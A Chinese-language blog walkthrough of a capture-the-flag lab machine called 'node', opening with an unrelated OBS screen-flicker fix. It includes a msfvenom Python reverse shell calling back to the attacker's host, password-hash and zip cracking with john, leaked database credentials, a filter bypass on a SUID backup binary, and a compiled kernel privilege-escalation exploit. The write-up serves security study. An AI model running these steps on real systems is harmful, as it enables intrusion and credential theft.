• Write-up-NODE-1


    关于

    一天研究OBS终于不闪屏了

    • 顺便在这里记录一下,上网查了很久。刚刚开始是不闪屏了,但是锁屏后就唤醒不了了,只能强制关机。
    • 然后又上网找了很久,重启了N次,终于试出来哪了的问题了。添加下面内容到这个文件重启就好了。
    ➜  ~  cat /etc/X11/xorg.conf.d/20-intel.conf    
    Section "Device"
        Identifier "Intel Graphics" 
        Driver "intel" 
        Option "AccelMethod" "uxa"
        Option "DRI" "2"
    EndSection
    ➜  ~ 
    

    祖传开头

    • 网卡:vmnet8;IP:192.168.131.1/24
    ➜  ~ ip a show dev vmnet8
    5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
        link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
        inet 192.168.131.1/24 brd 192.168.131.255 scope global vmnet8
           valid_lft forever preferred_lft forever
        inet6 fe80::250:56ff:fec0:8/64 scope link 
           valid_lft forever preferred_lft forever
    ➜  ~ 
    
    • 这次祖传套路好像不管用了,想是不是防火墙过滤了,然后尝试ByPass,详细可以看:Nmap防火墙ByPass
    • 尝试到sudo nmap -sn 192.168.131.1/24加上sudo可以找到目标的IP,后面发现目标没有开放80或443端口,一般扫描无法找到目标IP。因为使用sudo权限Nmap会使用libpcap嗅探网络流量和发送原始网络流量,详细还是看上面的那篇文章吧。
    ➜  ~ nmap -sn 192.168.131.1/24
    Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 20:26 CST
    Nmap scan report for 192.168.131.1
    Host is up (0.00056s latency).
    Nmap done: 256 IP addresses (1 host up) scanned in 3.08 seconds
    ➜  ~ sudo nmap -sn 192.168.131.1/24
    [sudo] kali-team 的密码:
    Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 20:31 CST
    Nmap scan report for 192.168.131.141
    Host is up (0.00074s latency).
    MAC Address: 00:0C:29:22:EE:8A (VMware)
    Nmap scan report for 192.168.131.1
    Host is up.
    Nmap done: 256 IP addresses (2 hosts up) scanned in 35.66 seconds
    ➜  ~ 
    
    • 找到IP为192.168.131.141,-A接着扫,-Pn跳过主机发现直接扫,开放了22和3000端口,难怪扫不到。
    ➜  ~ nmap -T4 -A 192.168.131.141 -Pn
    Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 20:43 CST
    Nmap scan report for 192.168.131.141
    Host is up (0.00034s latency).
    Not shown: 998 filtered ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
    |   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
    |_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
    3000/tcp open  http    Node.js Express framework
    | hadoop-datanode-info: 
    |_  Logs: /login
    | hadoop-tasktracker-info: 
    |_  Logs: /login
    |_http-title: MyPlace
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 17.95 seconds
    
    • 浏览器打开3000端口看一下,burpsuite全程抓包,到处点点。回来看请求记录。发现在日志里有几个奇怪的请求http://192.168.131.141:3000/api/users/tom都是json格式的。
    GET /api/users/tom HTTP/1.1
    Host: 192.168.131.141:3000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.131.141:3000/profiles/tom
    Connection: close
    
    
    • 返回数据,应该是在点用户的头像时请求的,试完首页的三个用户都不是管理员。猜想根据写路由的习惯,试着把用户删除掉再请求一次。
    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: application/json; charset=utf-8
    Content-Length: 146
    ETag: W/"92-i7KsecITBt58aCBrfJ2ziyXT+uA"
    Date: Fri, 12 Oct 2018 12:54:18 GMT
    Connection: close
    
    {"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false}
    
    • 然后就出现了了另一个管理员用户myP14ceAdm1nAcc0uNT,密码丢去破解得到:manchester
    GET /api/users HTTP/1.1
    Host: 192.168.131.141:3000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.131.141:3000/profiles/tom
    Connection: close
    
    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: application/json; charset=utf-8
    Content-Length: 611
    ETag: W/"263-mJMXKDfX6c4pdWF3bLjHuBIvsM0"
    Date: Fri, 12 Oct 2018 12:58:25 GMT
    Connection: close
    
    [{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
    
    • 登录得到一个文件,下载回来判断文件类型发现是一个base64编码的纯文本,那再解码导出到文件在判断文件类型是一个zip。但是有密码加密的,所以要爆破zip密码。
    ➜  DOWNLOAD file myplace.backup
    myplace.backup: ASCII text, with very long lines, with no line terminators
    ➜  DOWNLOAD cat myplace.backup|base64 -d >2333
    ➜  DOWNLOAD file 2333 
    2333: Zip archive data, at least v1.0 to extract
    ➜  DOWNLOAD unzip 2333 
    Archive:  2333
       creating: var/www/myplace/
    [2333] var/www/myplace/package-lock.json password: 
    
    • 用zip2john生产zip的hash文件,在用字典攻击。因为我在之前已经破解过一次了,他保存了记录。
    ➜  DOWNLOAD zip2john 2333 > pass.hash
    ➜  DOWNLOAD cat pass.hash 
    2333:$pkzip2$3*2*1*0*8*24*9c88*1223*332809d8492f2345d28fa927fb76c77154c6ccf048881c2600290b53514f7d6c8413b7db*1*0*8*24*37ef*0145*e3ff6a50090c46ad3e53aee3d26d04dee08c2e9c0c1b2b48e7000ddc6a84210ba178b271*2*0*11*5*118f1dfc*94cb*67*0*11*118f*3d0f*e9a06a072dc45e9904cee2aa2fa97c9cd0*$/pkzip2$:::::2333
    ➜  DOWNLOAD john pass.hash --wordlist=$wordlist 
    Loaded 1 password hash (PKZIP [32/64])
    No password hashes left to crack (see FAQ)
    ➜  DOWNLOAD john --show pass.hash
    2333:magicword:::::2333
    
    1 password hash cracked, 0 left
    
    • 我把记录删除了再演示一遍,如果再想看密码可以使用--show加hash文件查看。
    ➜  DOWNLOAD john pass.hash --wordlist=$wordlist
    Created directory: /home/kali-team/.john
    Loaded 1 password hash (PKZIP [32/64])
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    magicword        (2333)
    1g 0:00:00:00 DONE (2018-10-12 23:50) 5.882g/s 1156Kp/s 1156Kc/s 1156KC/s sandrea..piggy!
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
    
    • 解压进入文件夹找到app.js文件,发现了一些敏感的信息。
    const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
    const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
    
    • 如果是想快一点的话可以直接使用上面的账号登录ssh上EXP提权到root权限GetFlag,如果想有点挑战的就使用下面的命令执行漏洞GetFlag,这样就不用EXP提权了。
    app.get('/api/admin/backup', function (req, res) {
        if (req.session.user && req.session.user.is_admin) {
          var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
          var backup = '';
    
          proc.on("exit", function(exitCode) {
            res.header("Content-Type", "text/plain");
            res.header("Content-Disposition", "attachment; filename=myplace.backup");
            res.send(backup);
          });
    
          proc.stdout.on("data", function(chunk) {
            backup += chunk;
          });
    
          proc.stdout.on("end", function() {
          });
        }
        else {
          res.send({
            authenticated: false
          });
        }
      });
    
    • 先登录ssh,账号:mark,密码:5AYRft73VtFpc84k
    ➜  DOWNLOAD ssh mark@192.168.131.141
    mark@192.168.131.141's password: 
    Last login: Fri Oct 12 17:15:41 2018 from 192.168.131.1
    mark@node:~$ 
    
    • 先用msf生成一行Python的反弹后门,在用nc监听本地的7788端口。
    ➜  DOWNLOAD msfvenom -p cmd/unix/reverse_python lhost=192.168.131.1 lport=7788 R
    [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
    [-] No arch selected, selecting arch: cmd from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size: 501 bytes
    python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICwgICBzdWJwcm9jZXNzICAgICAgLCAgIG9zICAgIDsgICBob3N0PSIxOTIuMTY4LjEzMS4xIiAgICA7ICAgcG9ydD03Nzg4ICAgIDsgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAsICAgc29ja2V0LlNPQ0tfU1RSRUFNKSAgICA7ICAgcy5jb25uZWN0KChob3N0ICAgICAgLCAgIHBvcnQpKSAgICA7ICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgIDApICAgIDsgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAsICAgMSkgICAgOyAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICwgICAyKSAgICA7ICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp'.decode('base64'))"
    ➜  DOWNLOAD nc -lvp 7788
    
    • 把shell上传到目标主机,加上可执行权限
    mark@node:/tmp$ chmod 777 shell.sh 
    mark@node:/tmp$ ll
    total 64
    drwxrwxrwt  9 root    root     4096 Oct 12 17:26 ./
    drwxr-xr-x 25 root    root     4096 Sep  2  2017 ../
    -rw-r--r--  1 mark    mark     6021 Oct 12 15:19 44298.c
    -rwxrwxr-x  1 mark    mark    14032 Oct 12 15:20 a.out*
    drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .font-unix/
    drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .ICE-unix/
    srwx------  1 mongodb nogroup     0 Oct 12 13:20 mongodb-27017.sock=
    -rwxrwxrwx  1 mark    mark      502 Oct 12 17:25 shell.sh*
    drwx------  3 root    root     4096 Oct 12 13:19 systemd-private-712c42b4f5194056b7eb002b805a8bad-systemd-timesyncd.service-FZdDDZ/
    drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .Test-unix/
    drwx------  2 root    root     4096 Oct 12 13:19 vmware-root/
    drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .X11-unix/
    drwxrwxrwt  2 root    root     4096 Oct 12 13:19 .XIM-unix/
    mark@node:/tmp$
    
    • 利用app.js里的账号登录mark@node:/tmp$ mongo -u mark -p5AYRft73VtFpc84k schedulermongodb添加任务执行反弹后门db.tasks.insertOne({cmd:"bash /tmp/shell.sh"});,要等一会儿。

    • 然后反弹回来的就是tom用户的权限了,就可以拿到用户home目录的Flag了。

    pwd 
    /
    cd /home/tom
    ls
    user.txt
    cat user.txt
    e1156acc3574e04b06908ecf76be91b1
    
    tom@node:~$ ls -al /usr/local/bin
    ls -al /usr/local/bin
    total 28
    drwxr-xr-x  2 root root   4096 Sep  3  2017 .
    drwxr-xr-x 10 root root   4096 Aug 29  2017 ..
    -rwsr-xr--  1 root admin 16484 Sep  3  2017 backup
    tom@node:~$ 
    
    • 接着再利用上面的备份的命令执行,就是但备份的时候会用root权限执行/usr/local/bin/backup程序,当我想着把root目录打包成备份拿到root目录下的root.txt时,发现自己太天真了。拿到了暴走的那张图。

    • 想直接该掉目标的app.js又发现要root权限

    tom@node:/var/www/myplace$ ls -al
    ls -al
    total 56
    drwxr-xr-x  4 root root  4096 Sep  3  2017 .
    drwxr-xr-x  3 root root  4096 Sep  3  2017 ..
    -rw-rw-r--  1 root root  3861 Sep  2  2017 app.html
    -rw-rw-r--  1 root root  8058 Sep  3  2017 app.js
    drwxr-xr-x 69 root root  4096 Sep  2  2017 node_modules
    -rw-rw-r--  1 root root   283 Sep  2  2017 package.json
    -rw-r--r--  1 root root 21264 Sep  2  2017 package-lock.json
    drwxrwxr-x  6 root root  4096 Sep  2  2017 static
    tom@node:/var/www/myplace$ 
    
    
    • 然后把backup下载回来看了一下,他是把一些目录过滤了,只要有这些字符串就调用一个函数把刚刚的暴走表情返回来。
    .rodata:08049EC5 aRoot           db '/root',0            ; DATA XREF: main+4DA↑o
    .rodata:08049ECB asc_8049ECB     db '//',0               ; DATA XREF: main+675↑o
    .rodata:08049ECE asc_8049ECE     db '/',0                ; DATA XREF: main+6BC↑o
    .rodata:08049ED0 aEtc            db '/etc',0             ; DATA XREF: main+703↑o
    .rodata:08049ED5 aTmpBackupI     db '/tmp/.backup_%i',0  ; DATA XREF: main+7B7↑o
    .rodata:08049EE5                 align 4
    .rodata:08049EE8 aUsrBinZipRPMag db '/usr/bin/zip -r -P magicword %s %s > /dev/null',0
    .rodata:08049EE8                                         ; DATA XREF: main+7D9↑o
    .rodata:08049F17 aUsrBinBase64W0 db '/usr/bin/base64 -w0 %s',0
    .rodata:08049F17                                         ; DATA XREF: main+838↑o
    .rodata:08049F2E aTheTargetPathD db 'The target path doesn',27h,'t exist',0
    .rodata:08049F2E                                         ; DATA XREF: main+869↑o
    .rodata:08049F2E _rodata         ends
    
    • 现在就是想怎么绕过过滤。目前只想到了两种方法。
    1. Linux的通配符,用四个*代替root字符串,把返回的字符串解码用之前的密码解压就可以获取root目录下的root.txt文件了。其实在set里出题人已经提示了可以使用_='/****/****.txt'的了。
    tom@node:/usr/local/bin$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /****/****.txt
    <4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /****/****.txt             
    UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWemtwFt1eAsAAQQAAAAABAAAAABV8jIoS5pVMDG/v8Ky96FxGnEzm7MYgoNnqV+uTwW4IcvmccY7RuN/o2FSD7RQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAAtom@node:/usr/local/bin$ 
    
    ➜  DOWNLOAD echo "UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWemtwFt1eAsAAQQAAAAABAAAAABV8jIoS5pVMDG/v8Ky96FxGnEzm7MYgoNnqV+uTwW4IcvmccY7RuN/o2FSD7RQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA"|base64 -d > 1.zip
    
    ➜  DOWNLOAD unzip 1.zip -d /tmp
    Archive:  1.zip
    [1.zip] root/root.txt password: 
     extracting: /tmp/root/root.txt      
    ➜  DOWNLOAD cat /tmp/root/root.txt 
    1722e99ca5f353b362556a62bd5e6be0
    ➜  DOWNLOAD 
    

    2.Linux里面的ln可以创建同步链接,只要把一个不在黑名单里的目录链接到root目录在打包备份这个目录就可以了。先到tmp目录随便创建一个文件夹,再软链接过去,打包备份得到和上面一样的效果。

    tom@node:/usr/local/bin$ cd /tmp
    cd /tmp
    tom@node:/tmp$ mkdir test
    mkdir test
    tom@node:/tmp$ cd /usr/local/bin
    cd /usr/local/bin
    tom@node:/usr/local/bin$ ls
    ls
    backup
    tom@node:/usr/local/bin$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 
    <backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474  
    tom@node:/usr/local/bin$ ln -s /root/root.txt /tmp/test/
    ln -s /root/root.txt /tmp/test/
    tom@node:/usr/local/bin$ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test/
    <4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test/                 
    UEsDBAoAAAAAAEISTU0AAAAAAAAAAAAAAAAJABwAdG1wL3Rlc3QvVVQJAAPMR8Fb50fBW3V4CwABBOgDAAAE6AMAAFBLAwQKAAkAAADUfSNL8o43QC0AAAAhAAAAEQAcAHRtcC90ZXN0L3Jvb3QudHh0VVQJAAPQFaxZ6a3AW3V4CwABBAAAAAAEAAAAADkP/XbDOYEypwb9otRX3B70ByGgGe7HxtZxLnY3FwS0Sc1u71Mp/S+gUeYDWVBLBwjyjjdALQAAACEAAABQSwECHgMKAAAAAABCEk1NAAAAAAAAAAAAAAAACQAYAAAAAAAAABAA7UEAAAAAdG1wL3Rlc3QvVVQFAAPMR8FbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAABEAGAAAAAAAAQAAAKCBQwAAAHRtcC90ZXN0L3Jvb3QudHh0VVQFAAPQFaxZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAACAAIApgAAAMsAAAAAAA==tom@node:/usr/local/bin$ 
    
    • 如果是想快点的就上传EXP编译提权,这里就不说了。
    mark@node:/tmp$ uname -a
    Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    
    ➜  DOWNLOAD searchsploit 4.4.0 | grep local
    Comodo Backup 4.4.0.0 - Null Pointer De | exploits/windows/local/35905.c
    Linux 4.4.0 < 4.4.0-53 - AF_PACKET choc | exploits/linux/local/44696.rb
    Linux Kernel 4.4.0 (Ubuntu 14.04/16.04  | exploits/linux_x86-64/local/40871.c
    Linux Kernel 4.4.0 (Ubuntu) - DCCP Doub | exploits/linux/local/41458.c
    Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64 | exploits/linux_x86-64/local/40049.c
    Linux Kernel < 4.4.0-116 (Ubuntu 16.04. | exploits/linux/local/44298.c
    Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x | exploits/linux/local/44300.c
    Linux Kernel < 4.4.0-83 / < 4.8.0-58 (U | exploits/linux/local/43418.c
    PHP 4.4.0 - 'mysql_connect function' Lo | exploits/windows/local/1406.php
    
    ➜  DOWNLOAD searchsploit -p 44298          
      Exploit: Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
          URL: https://www.exploit-db.com/exploits/44298/
         Path: /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/44298.c
    File Type: C source, ASCII text, with CRLF line terminators
    
    ➜  DOWNLOAD 
    ➜  DOWNLOAD scp /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/44298.c mark@192.168.131.141:/tmp
    mark@192.168.131.141's password: 
    44298.c                                                              100% 6021     9.5MB/s   00:00    
    
    mark@node:/tmp$ ls
    44298.c             systemd-private-1e2dccb30d5c4421ab0156f380ae24f2-systemd-timesyncd.service-XxCCZ4
    mongodb-27017.sock  test
    shell.sh            vmware-root
    mark@node:/tmp$ gcc 44298.c 
    mark@node:/tmp$ ./a.out 
    task_struct = ffff88002d8fda00
    uidptr = ffff88002ad330c4
    spawning root shell
    root@node:/tmp# id
    uid=0(root) gid=0(root) groups=0(root),1001(mark)
    root@node:/tmp# 
    
  • 相关阅读:
    html之marquee详解
    CSS盒模型
    基于windows API的手柄/键盘映射编程(一)
    阿超的烦恼来临的始端
    阿超的小目标
    程序员的800字作文
    Link to Coding
    项目经理都干些什么啊
    停不下来的英语课联想
    Markdown
  • 原文地址:https://www.cnblogs.com/Kali-Team/p/12211002.html
Copyright © 2020-2023  润新知